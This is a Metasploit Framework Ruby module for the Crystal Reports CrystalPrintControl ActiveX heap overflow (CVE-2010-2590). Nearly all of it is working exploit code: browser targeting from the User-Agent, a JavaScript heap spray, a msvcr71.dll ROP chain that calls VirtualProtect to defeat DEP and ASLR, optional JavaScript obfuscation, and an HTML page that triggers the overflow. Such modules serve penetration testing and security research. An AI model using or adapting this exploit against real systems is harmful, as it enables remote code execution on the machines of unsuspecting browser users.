sinn3r
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88f02e0016
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::RopDb
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include Msf::Exploit::Remote::BrowserAutopwn
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autopwn_info({
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:ua_name => HttpClients::IE,
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:ua_minver => "6.0",
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:ua_maxver => "8.0",
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:javascript => true,
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:os_name => OperatingSystems::WINDOWS,
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:rank => NormalRanking,
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:classid => "{88DD90B6-C770-4CFF-B7A4-3AFD16BB8824}",
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:method => "ServerResourceVersion"
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})
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def initialize(info={})
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super(update_info(info,
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'Name' => "Crystal Reports CrystalPrintControl ActiveX ServerResourceVersion Property Overflow",
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'Description' => %q{
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This module exploits a heap based buffer overflow in the CrystalPrintControl
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ActiveX, while handling the ServerResourceVersion property. The affected control
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can be found in the PrintControl.dll component as included with Crystal Reports
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2008. This module has been tested successfully on IE 6, 7 and 8 on Windows XP SP3
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and IE 8 on Windows 7 SP1. The module uses the msvcr71.dll library, loaded by the
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affected ActiveX control, to bypass DEP and ASLR.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Dmitriy Pletnev', # Vulnerability discovery
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'Dr_IDE', # PoC
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'juan vazquez' # Metasploit
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],
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'References' =>
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[
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[ 'CVE', '2010-2590' ],
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[ 'OSVDB', '69917' ],
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[ 'BID', '45387' ],
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[ 'EDB', '15733' ]
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],
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'Payload' =>
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{
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'Space' => 890,
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'BadChars' => "\x00",
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'DisableNops' => true,
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'PrependEncoder' => "\x81\xc4\xa4\xf3\xfe\xff" # Stack adjustment # add esp, -500
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},
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'DefaultOptions' =>
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{
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Using jre rop because msvcr71.dll is installed with the ActiveX control
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# Crystal Reports 2008 / PrintControl.dll 12.0.0.683
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[ 'Automatic', {} ],
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[ 'IE 6 on Windows XP SP3',
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{
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'Rop' => nil,
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'Offset' => '0x5F4',
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'Ret' => 0x0c0c0c08
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}
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],
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[ 'IE 7 on Windows XP SP3',
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{
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'Rop' => nil,
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'Offset' => '0x5F4',
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'Ret' => 0x0c0c0c08
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}
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],
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[ 'IE 8 on Windows XP SP3',
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{
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'Rop' => :jre,
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'Offset' => '0x5f4',
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'Ret' => 0x0c0c0c0c,
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'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret
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}
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],
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[ 'IE 8 on Windows 7',
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{
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'Rop' => :jre,
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'Offset' => '0x5f4',
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'Ret' => 0x0c0c0c0c,
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'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => "Dec 14 2010",
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
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], self.class)
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end
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def get_target(agent)
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#If the user is already specified by the user, we'll just use that
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return target if target.name != 'Automatic'
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nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
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ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
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ie_name = "IE #{ie}"
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case nt
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when '5.1'
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os_name = 'Windows XP SP3'
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when '6.0'
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os_name = 'Windows Vista'
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when '6.1'
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os_name = 'Windows 7'
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end
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targets.each do |t|
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if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
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print_status("Target selected as: #{t.name}")
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return t
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end
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end
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return nil
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end
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def ie_heap_spray(my_target, p)
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js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
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js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
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# Land the payload at 0x0c0c0c0c
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# For IE 6, 7, 8
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js = %Q|
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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while (nops.length < 0x80000) nops += nops;
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var offset = nops.substring(0, #{my_target['Offset']});
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var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x80000-6)/2);
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heap_obj.gc();
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for (var i=1; i < 0x300; i++) {
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heap_obj.alloc(block);
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}
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var overflow = nops.substring(0, 10);
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js = heaplib(js, {:noobfu => true})
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if datastore['OBFUSCATE']
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js = ::Rex::Exploitation::JSObfu.new(js)
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js.obfuscate
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end
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return js
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end
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def get_payload(t, cli)
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code = payload.encoded
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# No rop. Just return the payload.
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return code if t['Rop'].nil?
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# Both ROP chains generated by mona.py - See corelan.be
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print_status("Using JRE ROP")
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rop_payload = generate_rop_payload('java', code, {'pivot' => [t['Pivot']].pack("V")})
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return rop_payload
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end
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def load_exploit_html(my_target, cli)
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p = get_payload(my_target, cli)
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js = ie_heap_spray(my_target, p)
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# This rop chain can't contain NULL bytes, because of this RopDB isn't used
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# rop chain generated with mona.py
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rop_gadgets =
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[
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0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
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0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
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0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
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0x7c3415a2, # JMP [EAX] [msvcr71.dll]
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0xffffffff, #
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0x7c376402, # skip 4 bytes [msvcr71.dll]
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0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
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0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
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0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
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0x7c344f87, # POP EDX # RETN [msvcr71.dll]
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0xffffffc0, # Value to negate, will become 0x00000040
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0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
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0x7c34d201, # POP ECX # RETN [msvcr71.dll]
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0x7c38b001, # &Writable location [msvcr71.dll]
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0x7c347f97, # POP EAX # RETN [msvcr71.dll]
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0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
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0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
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0x7c345c30, # ptr to 'push esp # ret ' [msvcr71.dll]
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].pack("V*")
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# Allow to easily stackpivot to the payload
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# stored on the sprayed heap
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stackpivot_to_spray = %Q|
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mov esp, 0x0c0c0c10
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ret
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# Space => 0x940 bytes
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# 0x40c: Fill the current CrystalPrintControl object
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# 0x8: Overflow next heap chunk header
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# 0x52c: Overflow next CrystalPrintControl object until the ServerResourceVersion offset
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bof = rand_text_alpha(1036)
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bof << [0x01010101].pack("V") # next heap chunk header
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bof << [0x01010101].pack("V") # next heap chunk header
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bof << [my_target.ret].pack("V")
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bof << [0x7c3410c4].pack("V") # ret # msvcr71
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bof << [0x7c3410c4].pack("V") # ret # msvcr71
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bof << [0x7c3410c4].pack("V") # ret # msvcr71
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bof << [0x7c3410c4].pack("V") # ret # msvcr71
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bof << [0x7c3410c4].pack("V") # ret # msvcr71
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bof << [0x7c3410c4].pack("V") # ret # msvcr71
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bof << [0x7c3410c4].pack("V") # ret # msvcr71
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bof << [0x7c3410c4].pack("V") # ret # msvcr71 # eip for w7 sp0 / ie8
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bof << rop_gadgets
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bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, stackpivot_to_spray).encode_string
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bof << rand_text_alpha(0x940 - bof.length)
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js_bof = Rex::Text.to_unescape(bof, Rex::Arch.endian(my_target.arch))
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target = rand_text_alpha(5 + rand(3))
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target2 = rand_text_alpha(5 + rand(3))
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target3 = rand_text_alpha(5 + rand(3))
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target4 = rand_text_alpha(5 + rand(3))
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target5 = rand_text_alpha(5 + rand(3))
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target6 = rand_text_alpha(5 + rand(3))
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target7 = rand_text_alpha(5 + rand(3))
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target8 = rand_text_alpha(5 + rand(3))
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target9 = rand_text_alpha(5 + rand(3))
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target10 = rand_text_alpha(5 + rand(3))
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target11 = rand_text_alpha(5 + rand(3))
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target12 = rand_text_alpha(5 + rand(3))
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target13 = rand_text_alpha(5 + rand(3))
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target14 = rand_text_alpha(5 + rand(3))
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target15 = rand_text_alpha(5 + rand(3))
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# - 15 CrystalPrintControl objects are used to defragement the heap.
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# - The 10th CrystalPrintControl is overflowed.
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# - After the overflow, trying to access the overflowed object, control
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# can be obtained.
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html = %Q|
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<html>
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<head>
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<script>
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#{js}
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</script>
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</head>
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<body>
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<object id='#{target}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
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<object id='#{target2}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
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<object id='#{target3}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
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<object id='#{target4}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
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<object id='#{target5}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
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<object id='#{target6}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
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<object id='#{target7}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
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<object id='#{target8}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
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<object id='#{target9}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
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<object id='#{target10}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
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<object id='#{target11}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
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<object id='#{target12}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
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<object id='#{target13}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
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<object id='#{target14}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
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<object id='#{target15}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
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<script>
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var ret = unescape('#{js_bof}');
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#{target9}.ServerResourceVersion = ret;
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var c = #{target10}.BinName.length;
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</script>
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</body>
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</html>
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return html
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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uri = request.uri
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print_status("Requesting: #{uri}")
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my_target = get_target(agent)
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# Avoid the attack if no suitable target found
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if my_target.nil?
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print_error("Browser not supported, sending 404: #{agent}")
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send_not_found(cli)
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return
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end
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html = load_exploit_html(my_target, cli)
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html = html.gsub(/^\t\t/, '')
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print_status("Sending HTML...")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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end
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